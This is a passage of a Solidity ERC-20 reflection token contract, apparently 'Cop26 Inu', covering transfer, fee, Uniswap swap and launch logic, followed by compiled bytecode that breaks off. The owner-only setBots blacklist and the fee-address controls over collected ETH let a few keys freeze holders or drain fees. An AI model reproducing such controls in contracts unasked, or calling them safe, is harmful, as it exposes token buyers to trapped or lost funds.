return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!_bots[from] && !_bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to]
) {
require(tradingOpen, "Trading not yet enabled.");
if (walletLimitDuration > block.timestamp) {
uint256 walletBalance = balanceOf(address(to));
require(
amount.add(walletBalance) <= _tTotal.mul(2).div(100)
);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && tradingOpen) {
if (contractTokenBalance > 0) {
if (
contractTokenBalance >
balanceOf(uniswapV2Pair).mul(5).div(100)
) {
contractTokenBalance = balanceOf(uniswapV2Pair)
.mul(5)
.div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_totalFee
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function openTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
tradingOpen = true;
walletLimitDuration = block.timestamp + (60 minutes);
}
function setMarketingWallet(address payable marketingWalletAddress)
external
{
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[_marketingWalletAddress] = false;
_marketingWalletAddress = marketingWalletAddress;
_isExcludedFromFee[marketingWalletAddress] = true;
}
function excludeFromFee(address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = false;
}
function setNoTaxMode(bool onoff) external {
require(_msgSender() == _FeeAddress);
_noTaxMode = onoff;
}
function setTeamFee(uint256 team) external {
require(_msgSender() == _FeeAddress);
require(team <= 7);
_teamFee = team;
}
function setTaxFee(uint256 tax) external {
require(_msgSender() == _FeeAddress);
require(tax <= 1);
_taxFee = tax;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
if (
bots_[i] != uniswapV2Pair &&
bots_[i] != address(uniswapV2Router)
) {
_bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
_bots[notbot] = false;
}
function isBot(address ad) public view returns (bool) {
return _bots[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function thisBalance() public view returns (uint256) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint256) {
return balanceOf(uniswapV2Pair);
}
}
|
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063c3c8cd801161008a578063cf0848f711610064578063cf0848f7146104fb578063db92dbb614610524578063dd62ed3e1461054f578063e6ec64ec1461058c57610171565b8063c3c8cd80146104a4578063c4081a4c146104bb578063c9567bf9146104e457610171565b806370a0823114610394578063715018a6146103d15780638da5cb5b146103e857806395d89b4114610413578063a9059cbb1461043e578063b515566a1461047b57610171565b8063313ce56711610123578063313ce5671461029a5780633bbac579146102c5578063437823ec146103025780634b740b161461032b5780635d098b38146103545780636fc3eaec1461037d57610171565b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101de57806323b872dd14610209578063273123b71461024657806327f3a72a1461026f57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105b5565b6040516101989190613330565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612e76565b6105f2565b6040516101d59190613315565b60405180910390f35b3480156101ea57600080fd5b506101f3610610565b60405161020091906134b2565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612e27565b610621565b60405161023d9190613315565b60405180910390f35b34801561025257600080fd5b5061026d60048036038101906102689190612d70565b6106fa565b005b34801561027b57600080fd5b506102846107ea565b60405161029191906134b2565b60405180910390f35b3480156102a657600080fd5b506102af6107fa565b6040516102bc9190613527565b60405180910390f35b3480156102d157600080fd5b506102ec60048036038101906102e79190612d70565b610803565b6040516102f99190613315565b60405180910390f35b34801561030e57600080fd5b5061032960048036038101906103249190612dc2565b610859565b005b34801561033757600080fd5b50610352600480360381019061034d9190612ef3565b610915565b005b34801561036057600080fd5b5061037b60048036038101906103769190612dc2565b610993565b005b34801561038957600080fd5b50610392610b0a565b005b3480156103a057600080fd5b506103bb60048036038101906103b69190612d70565b610b7c565b6040516103c891906134b2565b60405180910390f35b3480156103dd57600080fd5b506103e6610bcd565b005b3480156103f457600080fd5b506103fd610d20565b60405161040a9190613247565b60405180910390f35b34801561041f57600080fd5b50610428610d49565b6040516104359190613330565b60405180910390f35b34801561044a57600080fd5b5061046560048036038101906104609190612e76565b610d86565b6040516104729190613315565b60405180910390f35b34801561048757600080fd5b506104a2600480360381019061049d9190612eb2565b610da4565b005b3480156104b057600080fd5b506104b9611026565b005b3480156104c757600080fd5b506104e260048036038101906104dd9190612f45565b6110a0565b005b3480156104f057600080fd5b506104f9611119565b005b34801561050757600080fd5b50610522600480360381019061051d9190612dc2565b611644565b005b34801561053057600080fd5b50610539611700565b60405161054691906134b2565b60405180910390f35b34801561055b57600080fd5b5061057660048036038101906105719190612deb565b611732565b60405161058391906134b2565b60405180910390f35b34801561059857600080fd5b506105b360048036038101906105ae9190612f45565b6117b9565b005b60606040518060400160405280600981526020017f436f70323620496e750000000000000000000000000000000000000000000000815250905090565b60006106066105ff611832565b848461183a565b6001905092915050565b6000683635c9adc5dea00000905090565b600061062e848484611a05565b6106ef8461063a611832565b6106ea85604051806060016040528060288152602001613beb60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106a0611832565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120579092919063ffffffff16565b61183a565b600190509392505050565b610702611832565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610786906133f2565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006107f530610b7c565b905090565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661089a611832565b73ffffffffffffffffffffffffffffffffffffffff16146108ba57600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610956611832565b73ffffffffffffffffffffffffffffffffffffffff161461097657600080fd5b80601060156101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d4611832565b73ffffffffffffffffffffffffffffffffffffffff16146109f457600080fd5b600060056000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b4b611832565b73ffffffffffffffffffffffffffffffffffffffff1614610b6b57600080fd5b6000479050610b79816120bb565b50565b6000610bc6600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121b6565b9050919050565b610bd5611832565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c59906133f2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f434f503236000000000000000000000000000000000000000000000000000000815250905090565b6000610d9a610d93611832565b8484611a05565b6001905092915050565b610dac611832565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e30906133f2565b60405180910390fd5b60005b815181101561102257601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610eb7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610f715750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f50577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561100f57600160066000848481518110610fb5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061101a906137da565b915050610e3c565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611067611832565b73ffffffffffffffffffffffffffffffffffffffff161461108757600080fd5b600061109230610b7c565b905061109d81612224565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110e1611832565b73ffffffffffffffffffffffffffffffffffffffff161461110157600080fd5b600181111561110f57600080fd5b8060098190555050565b611121611832565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a5906133f2565b60405180910390fd5b601060149054906101000a900460ff16156111fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f590613472565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061128e30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061183a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156112d457600080fd5b505afa1580156112e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130c9190612d99565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561136e57600080fd5b505afa158015611382573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a69190612d99565b6040518363ffffffff1660e01b81526004016113c3929190613262565b602060405180830381600087803b1580156113dd57600080fd5b505af11580156113f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114159190612d99565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061149e30610b7c565b6000806114a9610d20565b426040518863ffffffff1660e01b81526004016114cb969594939291906132b4565b6060604051808303818588803b1580156114e457600080fd5b505af11580156114f8573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061151d9190612f6e565b505050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016115bf92919061328b565b602060405180830381600087803b1580156115d957600080fd5b505af11580156115ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116119190612f1c565b506001601060146101000a81548160ff021916908315150217905550610e104261163b91906135e8565b60118190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611685611832565b73ffffffffffffffffffffffffffffffffffffffff16146116a557600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061172d601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117fa611832565b73ffffffffffffffffffffffffffffffffffffffff161461181a57600080fd5b600781111561182857600080fd5b80600a8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a190613452565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561191a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191190613392565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119f891906134b2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6c90613432565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ae5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611adc90613352565b60405180910390fd5b60008111611b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1f90613412565b60405180910390fd5b611b30610d20565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b9e5750611b6e610d20565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7d57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c475750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611c5057600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cfb5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d515750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e0d57601060149054906101000a900460ff16611da5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9c90613492565b60405180910390fd5b426011541115611e0c576000611dba83610b7c565b9050611dec6064611dde6002683635c9adc5dea0000061251e90919063ffffffff16565b61259990919063ffffffff16565b611dff82846125e390919063ffffffff16565b1115611e0a57600080fd5b505b5b6000611e1830610b7c565b9050601060169054906101000a900460ff16158015611e855750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e9d5750601060149054906101000a900460ff165b15611f7b576000811115611f6157611efc6064611eee6005611ee0601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b61251e90919063ffffffff16565b61259990919063ffffffff16565b811115611f5757611f546064611f466005611f38601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b61251e90919063ffffffff16565b61259990919063ffffffff16565b90505b611f6081612224565b5b60004790506000811115611f7957611f78476120bb565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120245750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061203b5750601060159054906101000a900460ff165b1561204557600090505b61205184848484612641565b50505050565b600083831115829061209f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120969190613330565b60405180910390fd5b50600083856120ae91906136c9565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61210b60028461259990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612136573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61218760028461259990919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121b2573d6000803e3d6000fd5b5050565b60006007548211156121fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f490613372565b60405180910390fd5b600061220761266e565b905061221c818461259990919063ffffffff16565b915050919050565b6001601060166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612282577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122b05781602001602082028036833780820191505090505b50905030816000815181106122ee577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561239057600080fd5b505afa1580156123a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123c89190612d99565b81600181518110612402577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061246930600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461183a565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124cd9594939291906134cd565b600060405180830381600087803b1580156124e757600080fd5b505af11580156124fb573d6000803e3d6000fd5b50505050506000601060166101000a81548160ff02191690831515021790555050565b6000808314156125315760009050612593565b6000828461253f919061366f565b905082848261254e919061363e565b1461258e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612585906133d2565b60405180910390fd5b809150505b92915050565b60006125db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612699565b905092915050565b60008082846125f291906135e8565b905083811015612637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262e906133b2565b60405180910390fd5b8091505092915050565b8061264f5761264e6126fc565b5b61265a84848461273f565b806126685761266761290a565b5b50505050565b600080600061267b61291e565b91509150612692818361259990919063ffffffff16565b9250505090565b600080831182906126e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d79190613330565b60405180910390fd5b50600083856126ef919061363e565b9050809150509392505050565b600060095414801561271057506000600a54145b1561271a5761273d565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b60008060008060008061275187612980565b9550955095509550955095506127af86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129e790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061284485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125e390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061289081612a31565b61289a8483612aee565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128f791906134b2565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b600080600060075490506000683635c9adc5dea000009050612954683635c9adc5dea0000060075461259990919063ffffffff16565b82101561297357600754683635c9adc5dea0000093509350505061297c565b81819350935050505b9091565b600080600080600080600080600061299c8a600954600c612b28565b92509250925060006129ac61266e565b905060008060006129bf8e878787612bbe565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a2983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612057565b905092915050565b6000612a3b61266e565b90506000612a52828461251e90919063ffffffff16565b9050612aa681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125e390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b03826007546129e790919063ffffffff16565b600781905550612b1e816008546125e390919063ffffffff16565b6008819055505050565b600080600080612b546064612b46888a61251e90919063ffffffff16565b61259990919063ffffffff16565b90506000612b7e6064612b70888b61251e90919063ffffffff16565b61259990919063ffffffff16565b90506000612ba782612b99858c6129e790919063ffffffff16565b6129e790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bd7858961251e90919063ffffffff16565b90506000612bee868961251e90919063ffffffff16565b90506000612c05878961251e90919063ffffffff16565b90506000612c2e82612c2085876129e790919063ffffffff16565b6129e790919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612c5a612c5584613567565b613542565b90508083825260208201905082856020860282011115612c7957600080fd5b60005b85811015612ca95781612c8f8882612cb3565b845260208401935060208301925050600181019050612c7c565b5050509392505050565b600081359050612cc281613b8e565b92915050565b600081519050612cd781613b8e565b92915050565b600081359050612cec81613ba5565b92915050565b600082601f830112612d0357600080fd5b8135612d13848260208601612c47565b91505092915050565b600081359050612d2b81613bbc565b92915050565b600081519050612d4081613bbc565b92915050565b600081359050612d5581613bd3565b92915050565b600081519050612d6a81613bd3565b92915050565b600060208284031215612d8257600080fd5b6000612d9084828501612cb3565b91505092915050565b600060208284031215612dab57600080fd5b6000612db984828501612cc8565b91505092915050565b600060208284031215612dd457600080fd5b6000612de284828501612cdd565b91505092915050565b60008060408385031215612dfe57600080fd5b6000612e0c85828601612cb3565b9250506020612e1d85828601612cb3565b9150509250929050565b600080600060608486031215612e3c57600080fd5b6000612e4a86828701612cb3565b9350506020612e5b86828701612cb3565b9250506040612e6c86828701612d46565b9150509250925092565b60008060408385031215612e8957600080fd5b6000612e9785828601612cb3565b9250506020612ea885828601612d46565b9150509250929050565b600060208284031215612ec457600080fd5b600082013567ffffffffffffffff811115612ede57600080fd5b612eea84828501612cf2565b91505092915050565b600060208284031215612f0557600080fd5b6000612f1384828501612d1c565b91505092915050565b600060208284031215612f2e57600080fd5b6000612f3c84828501612d31565b91505092915050565b600060208284031215612f5757600080fd5b6000612f6584828501612d46565b91505092915050565b600080600060608486031215612f8357600080fd5b6000612f9186828701612d5b565b9350506020612fa286828701612d5b565b9250506040612fb386828701612d5b565b9150509250925092565b6000612fc98383612fd5565b60208301905092915050565b612fde816136fd565b82525050565b612fed816136fd565b82525050565b6000612ffe826135a3565b61300881856135c6565b935061301383613593565b8060005b8381101561304457815161302b8882612fbd565b975061303683